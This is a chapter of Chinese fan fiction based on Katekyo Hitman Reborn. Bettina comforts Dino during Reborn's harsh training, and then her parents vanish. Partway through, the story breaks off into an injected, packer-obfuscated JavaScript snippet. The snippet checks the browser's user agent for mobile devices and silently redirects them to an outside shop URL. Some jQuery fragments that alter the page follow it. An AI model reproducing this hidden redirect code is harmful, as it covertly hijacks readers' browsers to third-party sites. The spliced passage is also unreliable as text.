12. 第 12 章
    在reborn到来以后,迪诺每天都在各种危险环境下度过,多次死里逃生。

    但也因为如此,迪诺和贝蒂娜的也在迅速成长,迪诺不喜欢这样,但他没办法逃走,对他来说仿佛每一天都是世界末日。

    贝蒂娜跟他恰恰相反,她觉得这样有趣极了,reborn每天都会变着不同的花样,贝蒂娜有时候会和迪诺打赌,但他总是兴致缺缺,次数多了也让贝蒂娜重新认识到他对黑手党的抗拒程度。

    在这种时候她能做的只有安静地聆听迪诺发牢骚,他最近总是皱着眉头,在他又一次开口抱怨时贝蒂娜注意到,她屏蔽了听觉,表情凝重地在想,怎么样做迪诺才会开心起来。

    她想了好几个办法,但似乎并不能彻底解决这个问题。

    或许是她模样太过沉重,迪诺也注意到,他心生愧疚。

    “抱歉贝蒂娜,让你听我说这些,你还好吗?”

    “我不太好。”她直白地说出来。

    “因为我?”迪诺更加沮丧,他太差劲了。

    贝蒂娜没有回答。

    “你总是皱着眉。”她站起身走到迪诺身前,他们之间的距离不足半尺,她上半身俯身微倾占据了迪诺的全部视线,抬起手轻轻抚上迪诺的眉心,“我在想怎么样才能让你好过一点。”

    她眉头轻蹙表情带着些许悲伤,视线自上而下像是教堂里悲天悯人的神像一般。体温通过指尖传递过来,两个人的距离突然拉进,迪诺能感受他们呼吸交织在一起,她的睫毛上下颤动眼中只有他的倒影。

    太阳为她镀上一层金色显得更加神圣,脑海里的一切想法顿时被迪诺抛之脑后,他下意识屏气凝神看着眼前人。

    迪诺或许已经习惯了,她的态度其实很强硬,不容拒绝地诉说着,我会接受你的一切。

    随即将被他嫌弃而丢到地上的那一部分碎片捡起来拼好,她才会满意地笑,即便那是在他看来令他难以启齿的部分。

    就像她从来说的那样,他只要做自己就够了。

    迪诺闭上眼睛,就这样短暂放空自己,任由贝蒂娜的手抚过他的眉心,将内心的烦躁全部抹去,难以言喻的感情早已在平日里的每时每刻露出苗头。

    他不能亵渎这份情谊。

    再睁开眼又回到现实,迪诺扯动嘴角粲然一笑说道:“我好了很多,谢谢。还好有你在,不然其他人肯定不会听我发牢骚。”

    贝蒂娜被他的模样晃了眼,眼里也漾出笑意,她不由得一阵轻松不自觉去想,如果时间能定格在这个时候多好啊。

    贝蒂娜有个秘密,她从没告诉任何人,她喜欢迪诺的金色头发和琥珀色的眼睛。她喜欢他开怀大笑的模样,连带着闪烁的眼眸和跳动的发丝都仿佛被赋予生命力一样鲜活。不同与书中人物,他就站在贝蒂娜触手可及的地方。

    现在还要再加上一条,在阳光下他会更漂亮,贝蒂娜心想。她不明白自己心跳突然变得急促的原因,但见到迪诺心情有所好转她就很满足了。

    人就像气球,随着外界压力越大,到达临界点就会爆炸。身为家庭教师,时刻关注学生内部状态也是极为重要的事。

    reborn坐在窗外悠闲地晃着腿,他伸出手让列恩顺着他的手臂爬回帽子上:“看来没我这个家庭教师出场的必要了。”

    他轻松从窗台上跳下轻巧落地,边走边思索道:“不过既然没事了,总得给他们找点事情做。”免得他看了心烦,很快他又响起低沉而阴森的笑声。

    迪诺在得知他们要去森林里露营时整个人已经麻木了,他蹲在地上郁闷地问:“reborn其实你是被别人派来杀我的对吗?”

    reborn擦枪的动作停住,对向迪诺露出关怀的笑:“对哦,所以你是想现在就死吗?”

    如他所料,迪诺立马讪笑摆手摇头:“不不不,我只是开个玩笑哈哈哈哈。”

    最近克莱尔和劳伦斯有些奇怪,或许是贝蒂娜的生日就快到了,如同往年一样他们总会提前准备,因此贝蒂娜没有主动询问,但她总有种奇怪的预感。

    在与克莱尔告别时也是同样惴惴不安,忽然她吻上母亲的脸庞小声说道:"我很快就回来。"然后挥挥手跟reborn和迪诺一同离开。

    直到他们彻底离开,克莱尔才转过身去,他们要动作快点解决这次的事,贝蒂娜已经察觉到了,她在不安。

    历经两天一夜他们重新回到加百罗涅家族的领地,却被突如其来的雨淋得湿透了。

    贝蒂娜回到房间第一件事就是洗个澡,换上干净的衣服。几十分钟后她擦着头发从浴室走出,扭头看向窗外的天空,阴沉灰暗,像是马上要发生什么。

    她坐在床边回忆起这两天的经历,似乎并没有发生什么特殊的事。

    reborn的要求向来很严厉,贝蒂娜习以为常,尽管他有意将难度递增,甚至已经提出了要求他们跟熊对打。

    她依旧面不改色地坦然接受,尽管面对那样的对手并不轻松,双方有着悬殊的力量差距,她还是战胜了它,贝蒂娜揉了揉颤抖的双臂,退出了战斗场地。

    就只剩下迪诺,贝蒂娜和reborn坐在高处远远看着。

    她莫名紧张起来,她明白经过reborn的训练给她带来了多大的改变,她同样期待着迪诺发现这一切。

    他会不会更加自信,贝蒂娜想着。

    reborn轻咳几声拉回了贝蒂娜的思绪,她望向地下的人,此时已经陷入苦战。

    “你觉得问题出在哪?”他侧头看向贝蒂娜问道。

    她如实回答:“我不知道。”不该是这样的。

    “他的问题在于自己没有意识到自己的变化。”

    他说的一点没错,迪诺总是会抗拒他不喜欢的东西,从个人角度来说这并没有什么问题。

    但他的想法不能只代表个人,从出生起他就注定某天与加百罗涅家族挂上等号。

    贝蒂娜不会考虑那么多,她下意识替迪诺辩解。

    “可是他不想。”

    “不想就可以逃避了?”reborn的话语如同利剑戳穿她的小心思。

    贝蒂娜瞬间哑口无言,虚幻的泡泡被戳破,就像reborn说的一样,这才是现实。

    她想了想迟疑地开口:“我可以帮他,或许……”

    剩下的话卡在嘴边,或许她可以帮他承担责任,但这在贝蒂娜自己看起来也是不对的。

    reborn显然意有所指:“他自己也要有所进步不是吗?而不是只会一昧逃避。”

    她不再说话,跟reborn的对话让她想了很多,会不会自己一直以来的做法是错误的。

    现在回到家里她依然在想这个问题,她将头发吹干以后坐在床边,听着窗外的雨出神。

    这个问题对现在的她来说太难了。

    贝蒂娜晃了晃脚晾干,翻身上床,她不觉得鼓励迪诺做自己有什么不好,reborn教导迪诺也很好,首领希望迪诺成长也很好。

    她很好,reborn很好,首领也很好。

    迪诺呢,他也很好。

    虽然不清楚为什么会变成这样,但她还有很多时间去想,洗完澡她已经有了困意,在雨声中她渐渐睡去。

    大雨持续了数日才放晴,雨后特有的泥土的腥味渗透在各处。

    首领的病情在此期间愈发加重,没人能预料到事情会发生的这么突然。

    克莱尔和劳伦斯失踪了。

    与此同时,伊莱格拉莱家族找上门来,尽管对方暂时撤退,但他们不会善罢甘休的。

    在父母失踪后,贝蒂娜曾询问过所有见过他们的家族成员,可是一无所获。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14084644|149512||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    好像这两个人就那样轻而易举从世界上消失了,从那以后她没有再去学校。

    她翻遍所有可能会有他们痕迹的地方,除了出现在她房间的盒子以外没有任何不同。她将所有希望都倾注在上面,期待着能找到一丝遗留下来的讯息。

    那个盒子她曾经见过一样的,在父亲送给她第一把武器的时候,花纹一模一样。

    贝蒂娜见到它第一眼,它就那么大大咧咧躺在地上正对着门,像是有人非常急迫要带走里面的东西,空荡荡的盒子里本该存在的东西不翼而飞。

    她带着它问了许多人,reborn,罗马里欧,她甚至去找到首领,此时他已经十分虚弱了。

    在一旁的人的搀扶下,他慢吞吞地坐起来,贝蒂娜将盒子捧到他眼前,得到的也是遗憾的摇头。

    最后的希望也破灭,她仿佛受到重大的打击,整个人摇摇欲坠。

    在一番考量之后,首领却屏退了周围的人,偌大的房间只留下他们两个,他对着贝蒂娜招手。不知道他要说什么,贝蒂娜迟疑一瞬,半信半疑地看过去,她眼眸被希望点燃瞬间亮起。

    从这里离开以后贝蒂娜跑回到父母的房间,这里的一切都和以往没有差别,唯一不同的是那两个人可能再也回不来了,她趴在他们的床边放声大哭了一宿,第二天又像没事人一样出现。

    看着她长大的罗马里欧是第一个前来关怀她的人,他旁敲侧击地询问情况,说有需要帮忙的话可以跟他讲。但是她只是摇摇头,没有吐露任何消息。

    贝蒂娜独自一人来到小镇边界的海岸边,她坐在海边用手圈起蜷缩着的双腿,感受着阵阵海风吹过的气息。

    当罗马里欧出现在她面前时她突然意识到,这个地方变了许多。

    最近几年家族状态越发下滑,有许多人陆陆续续离开,它早已不是贝蒂娜记忆中的模样,过往的记忆在此刻留下的更多是遗憾。

    贝蒂娜昨晚和远在海岸另一边的祖母通过电话,将父母的情况告知了她,半晌她才听到电话那边传来的叹息。

    母亲总说她和祖母很像,但贝蒂娜只在小时候去过一次祖母家,对她的印象早已模糊,想必她也是如此,多年未见的女儿突然传来噩耗祖母怜惜她只剩一个人,于是问贝蒂娜要不要来日本,可以和她一起生活。

    贝蒂娜现在很混乱,她满脑子都在想这个问题。

    她想起来首领和她说的话,又想起迪诺,这是这么多年以来她第一次理解迪诺,她好想逃走。

    也许一个新的环境能给她带来好心情,对的,就像妈妈曾经是那样说的,她甩甩因为睡眠不足胀痛的脑袋,站起身来往前面走去。

    回到自己的房间以后她开始收拾自己的东西,整个过程异常漫长难熬,每件物品都寄存着过去的记忆,伴随着时间的厚重感扑面而来,无意间碰到柜子,相册掉落在地上发出沉闷的响声。

    贝蒂娜转身弯腰将它捡起来,相册在摔落的过程中被打开,那是贝蒂娜9岁的时候,在萨莎和科林的婚礼上拍的。

    迪诺当时没站稳差点扑到萨莎的婚纱上,贝蒂娜眼疾手快将他拽了回来,婚纱算是逃过一劫,惯性的作用下迪诺的头磕上贝蒂娜的额角,贝蒂娜不记得疼不疼,她只记得当时她觉得很好笑,就像他们第一次见面那样。

    没有闯祸迪诺也松了一口气,他发现贝蒂娜在笑很是疑惑,在贝蒂娜解释完以后他还是不懂哪里好笑,以为贝蒂娜在说他还和以前一样,他的脸色瞬间羞红嚷嚷道:"这几年我有进步的,和以前已经完全不一样了!"

    不自觉地她的嘴角上扬许多,跟着相片仿佛回到那段所有人都在的时光里。

    跟祖母通过电话以后,贝蒂娜双手张开仰面躺在床上。

    贝蒂娜抬头看向书架上的故事书,她以前很喜欢,现在依旧喜欢。